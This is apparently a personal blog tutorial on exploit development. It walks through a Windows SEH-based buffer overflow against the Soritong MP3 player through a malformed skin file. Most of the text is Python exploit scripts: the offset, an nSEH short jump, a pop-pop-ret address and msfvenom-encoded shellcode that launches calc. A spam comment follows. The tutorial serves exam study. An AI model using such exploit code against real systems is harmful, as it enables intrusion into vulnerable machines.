Exploit Development,  OSCE Prep

SEH Based Buffer Overflow


Welcome! If you haven’t already you should read this blog post Vanilla BoF. This post builds heavily on that post and assumes you’re at that level of knowledge at least. I always like to qualify things by saying I’m just learning, there’s plenty of excellent tutorials and blog post out there that’s much better than I could ever produce! Many of which, I’ve studied & learned from. This is my journey into trying to articulate what I’ve learned and hopefully convey it in a much simpler form. Let’s rock!

So in the previous tutorial we discussed how stack buffer overflows work and what steps it took to develop an exploit for one:

  • A way to overwrite EIP
  • A place to house our shellcode
  • A way to jump to the shellcode

It’s sometime referred to a vanilla BoF because it’s the most idea situation & most of the time things are more difficult. This is one of those scenarios. Enter Windows Structure Exception Handling. Windows SEH is an OS provided service made available through compiler support. Normally within software no matter the language there exist exception handling. This construct allows develops to predict and recover parts of code that possible could throw and exception. Usually provided in form of

try {
// piece of code where things could blow up
}
catch (Exception e) {
// what to do when things blow up
}

This allows the program to handle it’s own issues as everyone should lol. What happens if the exception that gets throw can’t be handled by the exception handler code the developer implemented or if there isn’t any exception handling code at all? Now things are starting to come to light. Windows takes over. Windows Structured Exception Handler kicks in. We’ve all seen this although one might not necessarily have known it. Does this look familiar?

I can think of ten’s of times where I would do something & could reproduce this consistently. Unfortunately I knew nothing about computers let alone security and exploit development. All those potential exploits I could have had under my name. I digress

This is an illustration of and uncaught exception & the Windows SEH mechanism kicking in. When a program registers it’s own exception handler a linked list structure is place in on the stack relating all the handlers. It sorta works like this when an exception is thrown, the FS register points to the top of the chain and this SEH linked list chain on the stack is traversed one by one, and each handler is checked to see if it can handler the exception until the end of the chain. The last one is the Windows handler it kicks in, and we see the pop up shown above. Here’s a visual on how the chain looks along w/ FS register holding the pointer to the first chain. It should be mention that each chain is a structure containing 2 things each 4 bytes a piece, so 8 bytes total: a pointer to the next handler and a pointer to handler itself

The logic in SEH based overwrite’s is simple:

  • Write past EIP all the way down the stack until you overwrite the SEH structure
  • Overwrite the handler with a Pop Pop Return instruction
    • This has the effect of pointing to SAME structure’s next SEH pointer
    • The nSEH comes first – then the actual handler
  • Overwrite the pointer to the nSEH with a short jump over the handler to our shellcode

If anything is foggy it should soon become clear. Let’s jump into some practical:

For this post we’ll be using Windows XP SP3 box inside of VMWare Fusion. Our vulnerable application is Soritong MP3 player, it has a very weird interface. Sadly I said “this thing deserves to get pwned what a stupid UI (more irony on this later)”

This sploit is via a malformed skin file. The location C:\SoriTong\Skin\Default\ui.txt (there’s that irony) holds the default skin for the interface & guess what, it’s vulnerable to a SEH stack overflow LMAO! So let’s break it.

We create a tiny Python script to generate our pwn file & begin to fool around.

# -*- coding: utf-8 -*-
file_name = 'C:\\SoriTong\\Skin\\Default\\UI.txt'
payload = "A" * 5000
crash_file = open(file_name,'w')
crash_file.write(payload)
crash_file.close()

After we drop the UI.txt file in the directory and try to open the app we see it quickly seem to disappear. We open Immunity attach and investigate

The important thing to note here is we caused and Access Violation but we didn’t overwrite EIP (like in vanilla overflow) when we check the SEH record we can see what happened in Immunity by going to view -> SEH Chain

So we overwrote the handler the astute reader realizes that if we overwrote the handler here that we have also overwrote the pointer to the next record because it lives 4 bytes prior to the handler. Checking the stack out at the relevant address show us:

Great we can begin to develop our exploit, first we need to determine the offset. !mona pattern_create 5000 After we update our buffer, attach the debugger and generate the crash we notice the SEH record overwritten with the following value 4137441. We use Mona to find what offset that comes out to be !mona pattern_offset 41367441

Great! We have our offset (588). Let’s confirm it by trying to overwrite the pointer to the nSEH (offset 584) w/ B’s and the handler w/ C’s. Here’s our script for this:


# -*- coding: utf-8 -*-
file_name = 'C:\\SoriTong\\Skin\\Default\\UI.txt'
payload = 'A' * 584
payload += 'BBBB' //this will be pointer to nSEH
payload += 'CCCC' //this will be pointer to Handler
payload += 'D' * (5000 - len(payload)) //always maintain our original payload size
crash_file = open(file_name,'w')
crash_file.write(payload)
crash_file.close()

We notice our D’s are just after our C’s (the D’s will hold our shellcode) here’s our SEH location in the stack

We’re now confident we control everything needed for exploitation. Let’s find the pop pop rtn instruction that we’re going to replace the handler with. !mona seh helps us out with this and we decide to use the pop pop rtn at addresses 0x10018de8 . We overwrite our C’s in the payload w/ this being mindful that we have to respect the endianess. Next we overwrite the nSEH with a short jump which is \xed in hex followed by the number of bytes, we make this a 4 byte instruction by add 2 bytes of nops and jumping over the 2 nops, along w/ the next 4 bytes which is our handler. The nSEH overwrite looks like \xeb\x06\x90\x90 We add a few nops before our shellcode and finish our exploit. Final code looks like:


# -*- coding: utf-8 -*-
file_name = 'C:\\SoriTong\\Skin\\Default\\UI.txt'

#msfvenom -p windows/exec cmd=calc.exe -e x86/shikata_ga_nai -b ‘\x00\x0a\x0d\xff’ -f python
buf = (“”
“\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49”
“\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36”
“\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34”
“\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41”
“\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44”
“\x42\x30\x42\x50\x42\x30\x4b\x38\x45\x54\x4e\x33\x4b\x58\x4e\x37”
“\x45\x50\x4a\x47\x41\x30\x4f\x4e\x4b\x38\x4f\x44\x4a\x41\x4b\x48”
“\x4f\x35\x42\x32\x41\x50\x4b\x4e\x49\x34\x4b\x38\x46\x43\x4b\x48”
“\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x39\x4e\x4a\x46\x48\x42\x4c”
“\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e”
“\x46\x4f\x4b\x43\x46\x35\x46\x42\x46\x30\x45\x47\x45\x4e\x4b\x48”
“\x4f\x35\x46\x42\x41\x50\x4b\x4e\x48\x46\x4b\x58\x4e\x30\x4b\x54”
“\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x31\x4b\x48”
“\x41\x30\x4b\x4e\x49\x38\x4e\x45\x46\x52\x46\x30\x43\x4c\x41\x43”
“\x42\x4c\x46\x46\x4b\x48\x42\x54\x42\x53\x45\x38\x42\x4c\x4a\x57”
“\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x48\x42\x37\x4e\x51\x4d\x4a”
“\x4b\x58\x4a\x56\x4a\x50\x4b\x4e\x49\x30\x4b\x38\x42\x38\x42\x4b”
“\x42\x50\x42\x30\x42\x50\x4b\x58\x4a\x46\x4e\x43\x4f\x35\x41\x53”
“\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x37”
“\x42\x35\x4a\x46\x42\x4f\x4c\x48\x46\x50\x4f\x45\x4a\x46\x4a\x49”
“\x50\x4f\x4c\x58\x50\x30\x47\x45\x4f\x4f\x47\x4e\x43\x36\x41\x46”
“\x4e\x36\x43\x46\x42\x50\x5a”)

payload = “\x41″*584 + “\xeb\x06\x90\x90” + “\xe8\x8d\x01\x10” + buf + “\x90” * (5000 – 584 – 4 – 4 – len(buf))

#offset 584 to overwrite nSEH
#offset 588 to overwrite SEH
#pop pop rtn
crash_file = open(file_name,’w’)
crash_file.write(payload)
crash_file.close()

All Done. Hope you learned a little!

 

One Comment

  • Сialis

    Hi there, I discovered your web site via Google while looking for a similar matter, your
    web site came up, it looks great. I’ve bookmarked it in my google
    bookmarks.
    Hello there, just was alert to your weblog through Google,
    and found that it is truly informative. I am going to be careful for brussels.

    I’ll be grateful should you continue this in future.
    Many other folks will likely be benefited from your writing.
    Cheers!

Leave a Reply

Your email address will not be published. Required fields are marked *

x  Powerful Protection for WordPress, from Shield Security
This Site Is Protected By
Shield Security